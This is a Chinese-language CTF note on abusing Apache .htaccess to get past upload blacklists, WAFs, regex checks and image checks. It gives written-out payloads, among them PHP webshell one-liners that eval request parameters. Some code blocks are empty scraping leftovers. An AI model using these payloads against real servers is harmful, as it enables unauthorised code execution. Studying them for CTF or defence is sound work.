.htaccess简介
.htaccess
全称Hypertext Access(超文本入口),也叫分布式配置文件,在一个特定
的目录放置一个.htaccess可以作用于此目录及其子目录
如果开启.htaccess,可以在所在文件夹和子文件下改变php.ini的配置。对于黑客来说,如果能控制.htaccess,就可以完成绕WAF、文件包含、文件上传等操作
.htaccess利用方法(前提条件)
首先目标主机必须开启.htaccess,配置在apache2.conf中,这里是部分配置
1 | # Sets the default security model of the Apache2 HTTPD server. It does |
利用方式&&tricks
服务器须安装好apache2和php
命令分别是
1 | sudo apt-get install apache2 |
以上都是ubuntu下的命令,可根据自己系统选择相应的命令
将指定后缀名的文件当做php解析
1 | AddType text/plain ".hhh" |
以上命令分别是将.hhh后缀的解析为文本,以及将.cc解析为php文件执行
1 | AddHandler php7-script .txt |
用途:文件上传时绕过黑名单校验,不过现在一般不会单独考这个
如果开启了cgi扩展,也可以来解析shell脚本.htaccess
1 | Options +ExecCGI |
solve.sh
1 |
|
php_value利用php中的配置
自动包含文件
1 | php_value auto_prepend_file xxx.php |
分别表示自动在php
文件的头/尾添加包含文件的内容,支持php为协议
1 | php_value include_path "xxx" |
表示引入文件的路径,一般用于改变包含文件的路径,从而去包含别的路径的文件
用途:文件包含,配合AddType使用
例题:刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)
利用报错信息写文件
1 | php_value error_reporting 32767//报告等级 |
开启报错的同时将报错信息写入文件
用途:利用报错写shell
例题:刷题记录:[XNUCA2019Qualifier]EasyPHP
UTF-7编码绕过尖括号过滤
1 | php_value zend.multibyte 1 #启用多字节编码的源文件解析 |
将代码的解析方式改成UTF-7
1 | mb_string_encoding('<?php eval($_GET[\'cmd\']); ?>',"utf-7") |
例题:I33t-hoster
prce绕过正则匹配
1 | php_value prce.backtrack_limit 0 |
if(preg_match("/[^a-z\.]/", $filename) == 1)
而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)
,因此可以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false
tricks
\换行绕过不合法字符&&绕WAF
前提:.htaccess可以像shell那样将两行内容解释为一行
绕过过滤字符
因为当.htaccess
中有不合语法的内容时,访问服务器会报500错误,如果题目中乱写.htaccess
文件,可以通过#
和\\
组合来注释不想要的内容
比如:题目中有file_put_contents($filename, $content . "\nJust one chance")
,可以使用#\\
,#
将代码注释,\\
将本行于下一行连接,效果就是注释掉后面所有内容,payload为:1
2
3
4
5php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
Just one chance绕过WAF
如果题目过滤了file的话,可以使用\\
来将file分开1
2
3php_value auto_prepend_fi\
le ".htaccess"
#<?php eval($_POST['a']);?>\绕过exif_imagetype()上传.htaccess
1
2#define width 20
#define height 20采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。
在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。
也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度【以像素为单位,比如以下xbm文件:#define test_width 16
#define test_height 7